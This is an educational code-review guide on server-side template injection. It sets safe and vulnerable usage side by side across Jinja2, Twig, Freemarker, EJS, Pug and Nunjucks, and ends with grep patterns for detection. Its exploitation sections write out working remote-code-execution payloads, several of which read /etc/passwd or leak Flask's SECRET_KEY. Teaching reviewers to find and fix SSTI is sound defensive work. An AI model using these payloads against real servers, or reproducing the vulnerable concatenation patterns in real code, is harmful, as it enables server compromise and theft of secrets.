Server-Side Template Injection: Code Review Guide
Table of Contents
1. Introduction to Server-Side Template Injection
Server-Side Template Injection (SSTI) occurs when user input is embedded into a server-side template and evaluated as code rather than treated as data. Template engines like Jinja2, Twig, Freemarker, EJS, and Pug are designed to generate dynamic HTML — but when attacker-controlled input reaches the template compilation step, it can execute arbitrary code on the server.
Why This Matters
SSTI almost always leads to Remote Code Execution (RCE). Unlike XSS (which executes in the browser), SSTI executes on the server — giving the attacker the same privileges as the web application. This means reading files, accessing databases, executing system commands, and pivoting to other internal systems. SSTI is one of the most critical vulnerabilities a code reviewer can find.
In this guide, you'll learn how template engines create SSTI vulnerabilities, how to detect and exploit SSTI across different template engines, specific RCE payloads for Jinja2, Twig, Freemarker, EJS, and Pug, how to identify SSTI patterns during code review, sandbox escape techniques used to bypass template restrictions, and how to prevent SSTI in your applications.
SSTI Detection Decision Tree
What makes SSTI fundamentally different from Cross-Site Scripting (XSS)?
2. How SSTI Works
SSTI occurs when user input is concatenated into a template string before the template engine processes it. The key distinction is between passing user data as a variable (safe) versus embedding it in the template source (vulnerable).
Safe vs vulnerable template usage (Jinja2)
1from flask import Flask, request, render_template_string
2
3app = Flask(__name__)
4
5# ✅ SAFE: User input is passed as a VARIABLE
6# The template is fixed — user data is only interpolated at render time
7@app.route('/safe')
8def safe_greeting():
9 name = request.args.get('name', 'World')
10 template = 'Hello, {{ name }}!'
11 return render_template_string(template, name=name)
12 # Input: name={{7*7}} → Output: "Hello, {{7*7}}!"
13 # The {{ }} in the INPUT is treated as literal text, not template syntax
14
15# ❌ VULNERABLE: User input is PART OF THE TEMPLATE
16# The template itself contains user data — it gets compiled and executed
17@app.route('/vulnerable')
18def vulnerable_greeting():
19 name = request.args.get('name', 'World')
20 template = f'Hello, {name}!' # ← User input IN the template string
21 return render_template_string(template)
22 # Input: name={{7*7}} → Template becomes: "Hello, {{7*7}}!"
23 # Jinja2 evaluates {{7*7}} → Output: "Hello, 49!"
24 # Input: name={{config}} → Leaks Flask configuration!The vulnerability pattern is the same across all template engines: user input should flow into template variables, never into the template source code.
Same pattern in Node.js (EJS)
1const ejs = require('ejs');
2
3// ✅ SAFE: User input as variable
4app.get('/safe', (req, res) => {
5 const template = '<h1>Hello, <%= name %></h1>';
6 const html = ejs.render(template, { name: req.query.name });
7 res.send(html);
8 // Input: name=<%= 7*7 %> → Output: "Hello, <%= 7*7 %>"
9 // EJS auto-escapes the variable output
10});
11
12// ❌ VULNERABLE: User input in template source
13app.get('/vulnerable', (req, res) => {
14 const template = '<h1>Hello, ' + req.query.name + '</h1>';
15 const html = ejs.render(template);
16 res.send(html);
17 // Input: name=<%= 7*7 %> → Template: "<h1>Hello, <%= 7*7 %></h1>"
18 // EJS evaluates the expression → Output: "Hello, 49"
19 // Input: name=<%= process.mainModule.require('child_process').execSync('id') %>
20 // → RCE!
21});You see this Python code: render_template_string("Dear " + user_input + ", your order is confirmed."). Is this vulnerable?
3. Jinja2 (Python) SSTI
Jinja2 is the most commonly exploited template engine for SSTI because it's the default in Flask and Django (with modifications). Jinja2 provides access to Python's object model, allowing attackers to traverse the class hierarchy to reach dangerous functions.
Jinja2 SSTI: From detection to RCE
1# Step 1: Confirm SSTI
2# Input: {{7*7}} → Output: 49 ✓
3# Input: {{7*'7'}} → Output: 7777777 (confirms Jinja2, not Twig)
4
5# Step 2: Access Python object model
6# Input: {{''.__class__}} → Output: <class 'str'>
7# Input: {{''.__class__.__mro__}} → Shows class hierarchy up to <object>
8
9# Step 3: Find useful classes (subprocess, os, etc.)
10# Input: {{''.__class__.__mro__[1].__subclasses__()}}
11# → Lists ALL loaded Python classes (hundreds of them)
12
13# Step 4: Remote Code Execution
14# Classic Jinja2 RCE payload (finds os._wrap_close to access os.popen):
15{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}
16# Where X is the index of a class that imports 'os'
17
18# Shorter alternative using config:
19{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
20
21# Using cycler (available in Jinja2 by default):
22{{cycler.__init__.__globals__.os.popen('id').read()}}Flask-Specific Dangers
In Flask applications, Jinja2 has access to several dangerous objects by default: config (application configuration including SECRET_KEY), request (current HTTP request with headers, cookies), session (user session data), and g (application globals). Even without achieving RCE, an attacker can leak secrets via {{config.items()}} to access SECRET_KEY, database credentials, API keys, and other environment-derived configuration.
Real-world vulnerable Flask pattern
1# ❌ VULNERABLE: Common in email templates, error pages, user profiles
2@app.route('/profile')
3def profile():
4 bio = get_user_bio(current_user.id) # User-controlled content
5
6 # Developer uses render_template_string for "flexibility"
7 template = f'''
8 <div class="profile">
9 <h2>{current_user.name}</h2>
10 <p>{bio}</p>
11 </div>
12 '''
13 return render_template_string(template)
14
15 # If bio contains {{config.SECRET_KEY}}, the secret key is exposed!
16 # If bio contains an RCE payload, the server is compromised.
17
18# ✅ FIX: Use a template FILE with variables
19@app.route('/profile')
20def profile():
21 return render_template('profile.html',
22 name=current_user.name,
23 bio=get_user_bio(current_user.id))A developer uses Jinja2's sandbox mode: from jinja2.sandbox import SandboxedEnvironment. Does this prevent SSTI?
4. Twig (PHP) SSTI
Twig is the default template engine for Symfony and Laravel (via Blade, though Twig is also used). Twig is more restrictive than Jinja2 by default, but SSTI can still lead to information disclosure and, in some configurations, RCE.
Twig SSTI: Detection and exploitation
1// Step 1: Confirm SSTI
2// Input: {{7*7}} → Output: 49 ✓
3// Input: {{7*'7'}} → Output: 49 (Twig converts string to int — unlike Jinja2's 7777777)
4
5// Step 2: Information disclosure
6// Input: {{_self}} → Dumps template object info
7// Input: {{app.request.server.all|join(',')}} → Server variables
8
9// Step 3: RCE (Twig 1.x — older but still found in legacy apps)
10{{_self.env.registerUndefinedFilterCallback("exec")}}
11{{_self.env.getFilter("id")}}
12// → Executes 'id' command on the server
13
14// Twig 1.x alternative:
15{{_self.env.registerUndefinedFilterCallback("system")}}
16{{_self.env.getFilter("whoami")}}
17
18// Twig 3.x (modern — more restricted):
19// Direct RCE is harder but information disclosure is still possible
20// {{dump()}} — dumps all template variables
21// {{app.request.cookies.all|join(',')}} — leak cookiesVulnerable Symfony/PHP pattern
1// ❌ VULNERABLE: User input in Twig template string
2$loader = new TwigLoaderArrayLoader([
3 'greeting' => 'Hello, ' . $userInput . '!', // ← SSTI
4]);
5$twig = new TwigEnvironment($loader);
6echo $twig->render('greeting');
7
8// ❌ VULNERABLE: createTemplate with user input
9$template = $twig->createTemplate('Hello ' . $_GET['name']);
10echo $template->render([]);
11
12// ✅ SAFE: User input as variable
13$template = $twig->createTemplate('Hello {{ name }}');
14echo $template->render(['name' => $_GET['name']]);Twig vs Jinja2 Identification
Since both use {{ }} syntax, use this probe to distinguish them: {{7*"7"}}. In Jinja2, string multiplication produces 7777777. In Twig, the string is cast to integer, producing 49. This is the standard technique used in SSTI identification.
5. Freemarker & Java Template SSTI
Freemarker is widely used in Java web applications (Spring, Struts2). Java template engines are particularly dangerous because Java's reflection API provides rich access to the runtime environment.
Freemarker SSTI: Detection and RCE
1// Freemarker syntax: ${expression} and <#directive>
2
3// Step 1: Confirm SSTI
4// Input: ${7*7} → Output: 49 ✓
5// Input: ${.version} → Output: Freemarker version number
6
7// Step 2: RCE via built-in "new" (if not restricted)
8${"freemarker.template.utility.Execute"?new()("id")}
9// → Executes 'id' command
10
11// Step 3: RCE via ObjectConstructor (if available)
12${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").exec("id")}
13
14// Step 4: Alternative — via JythonRuntime (if Jython is on classpath)
15${"freemarker.template.utility.JythonRuntime"?new()}<@jython>
16import os; os.system("id")
17</@jython>Vulnerable Spring/Java pattern
1// ❌ VULNERABLE: User input concatenated into Freemarker template
2@GetMapping("/greeting")
3public String greeting(@RequestParam String name, Model model) {
4 Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
5
6 // User input directly in template source!
7 Template template = new Template("greeting",
8 new StringReader("Hello, " + name + "!"), cfg);
9
10 StringWriter out = new StringWriter();
11 template.process(model, out);
12 return out.toString();
13}
14
15// ✅ SAFE: User input as template variable
16@GetMapping("/greeting")
17public String greeting(@RequestParam String name, Model model) {
18 model.addAttribute("name", name);
19 return "greeting"; // Uses greeting.ftl template file
20 // greeting.ftl: Hello, ${name}!
21}Other Java template engines with SSTI risks: Velocity (#set($x="")$x.class.forName("java.lang.Runtime").getRuntime().exec("id")), Thymeleaf (Spring Expression Language injection via __${...}__ preprocessing), and Groovy Templates (direct code execution via Groovy's dynamic nature).
You review a Java Spring application and find: @GetMapping("/page") String page(@RequestParam String content) { return "page :: " + content; }. The application uses Thymeleaf. Is this vulnerable?
6. Node.js Template Engine SSTI
Node.js template engines (EJS, Pug/Jade, Handlebars, Nunjucks) are common in Express applications. SSTI in Node.js can access process, require, and child_process — providing direct paths to RCE.
EJS SSTI: Direct RCE
1// EJS syntax: <% code %> (execute), <%= expression %> (output escaped)
2
3// ❌ VULNERABLE: User input in template source
4app.get('/page', (req, res) => {
5 const template = '<h1>' + req.query.title + '</h1>';
6 const html = ejs.render(template);
7 res.send(html);
8});
9
10// RCE payload:
11// title=<%= process.mainModule.require('child_process').execSync('id') %>
12// → Executes 'id' on the server
13
14// Alternative RCE:
15// title=<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd') %>
16
17// File read:
18// title=<%= require('fs').readFileSync('/etc/passwd') %>Pug/Jade SSTI
1// Pug syntax: #{expression} (escaped), !{expression} (unescaped)
2
3// ❌ VULNERABLE: User input in Pug template source
4app.get('/page', (req, res) => {
5 const template = 'h1 ' + req.query.title;
6 const html = pug.render(template);
7 res.send(html);
8});
9
10// RCE payload (Pug allows JavaScript code blocks):
11// title=#{global.process.mainModule.require('child_process').execSync('id')}
12
13// Or using Pug's code execution:
14// title=
15- var x = global.process.mainModule.require('child_process').execSync('id')
16// (newline + dash starts a code block in Pug)Nunjucks SSTI
1// Nunjucks (Jinja2-like for Node.js)
2// ❌ VULNERABLE: renderString with user input
3const nunjucks = require('nunjucks');
4
5app.get('/page', (req, res) => {
6 const output = nunjucks.renderString(
7 'Hello ' + req.query.name // ← SSTI
8 );
9 res.send(output);
10});
11
12// Information disclosure:
13// name={{range.constructor("return this")()}}
14// → Access to global object
15
16// RCE:
17// name={{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}Handlebars is Safer — But Not Immune
Handlebars is intentionally restrictive — it doesn't allow arbitrary expressions, only property lookups and registered helpers. This makes direct SSTI exploitation harder. However, if an attacker can register custom helpers or if the application uses {{lookup}} or prototype pollution, exploitation is still possible. During code review, Handlebars SSTI is lower risk than EJS/Pug/Nunjucks but should still be flagged.
7. Detection During Code Review
SSTI follows a consistent pattern across all engines: user input is concatenated into a template string before rendering. Search for this pattern in every template engine your application uses.
SSTI Detection by Language/Framework
| Language | Vulnerable Pattern | What to Grep For |
|---|---|---|
| Python/Flask | render_template_string(f"...{user_input}...") | render_template_string with f-string, format(), or + concatenation |
| Python/Django | Template(user_input).render() | Template() or Engine.from_string() with user data |
| PHP/Twig | $twig->createTemplate("..." . $input) | createTemplate, ArrayLoader with concatenated input |
| PHP/Blade | Blade::compileString($input) | compileString or eval with user template data |
| Java/Freemarker | new Template("t", new StringReader(input), cfg) | Template constructor with StringReader of user input |
| Java/Thymeleaf | return "prefix" + userInput | Controller return values concatenated with user input |
| Java/Velocity | Velocity.evaluate(context, writer, tag, input) | evaluate() with user-controlled template string |
| Node.js/EJS | ejs.render("..." + userInput) | ejs.render or ejs.compile with concatenated user data |
| Node.js/Pug | pug.render("..." + userInput) | pug.render or pug.compile with concatenated user data |
| Node.js/Nunjucks | nunjucks.renderString("..." + userInput) | renderString with concatenated user input |
Quick grep patterns for SSTI sources
1# Python SSTI sources
2grep -rn "render_template_string|Template(" --include="*.py" | grep -v "render_template_string('.*'," # Exclude safe usage with variables
3
4# PHP SSTI sources
5grep -rn "createTemplate|from_string|ArrayLoader" --include="*.php"
6
7# Java SSTI sources
8grep -rn "new Template.*StringReader|from_string|evaluate.*context" --include="*.java"
9
10# Node.js SSTI sources
11grep -rn "ejs.render|pug.render|nunjucks.renderString|compile(" --include="*.js" --include="*.ts" | grep -v "res.render("
12
13# Look for string concatenation/interpolation near template functions
14grep -rn "render.*+|render.*\`.*\${|render.*format(" --include="*.py" --include="*.js" --include="*.ts" --include="*.java"You find this code: res.render('email', { subject: req.body.subject, body: req.body.body }). The email.ejs template uses <%= subject %> and <%- body %>. Is this SSTI?